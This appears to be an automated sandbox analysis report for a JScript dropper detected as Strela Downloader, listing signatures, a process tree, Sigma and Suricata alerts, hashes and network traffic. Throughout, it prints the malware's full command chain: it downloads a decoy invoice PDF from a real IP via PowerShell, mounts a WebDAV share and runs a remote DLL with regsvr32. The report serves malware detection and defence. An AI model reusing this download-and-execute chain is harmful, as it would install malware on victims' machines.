Edit tour

Windows Analysis Report
2295888241314542.js

Overview

General Information

Sample name:	2295888241314542.js
Analysis ID:	1588108
MD5:	3385acf93bef2276a70fc8002801a80c
SHA1:	401d6503daf76e7ec86d113e40a3faa533a006af
SHA256:	db9798477fb23bb7d4a40d6b9d039d23d0afc7302eb02753c7e1bebe1bb50bd1
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3652 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1188 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5432 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7188 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7380 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,11078278986070257110,17438414062672174970,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2996 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2492 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7252 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3652	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5432, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5432, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ProcessId: 3652, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2492, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ProcessId: 3652, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5432, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2996, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2492, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7252, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2996, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2492, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1188, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:28:24.093288+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:28:20.989879+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2295888241314542.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2295888241314542.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:28:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

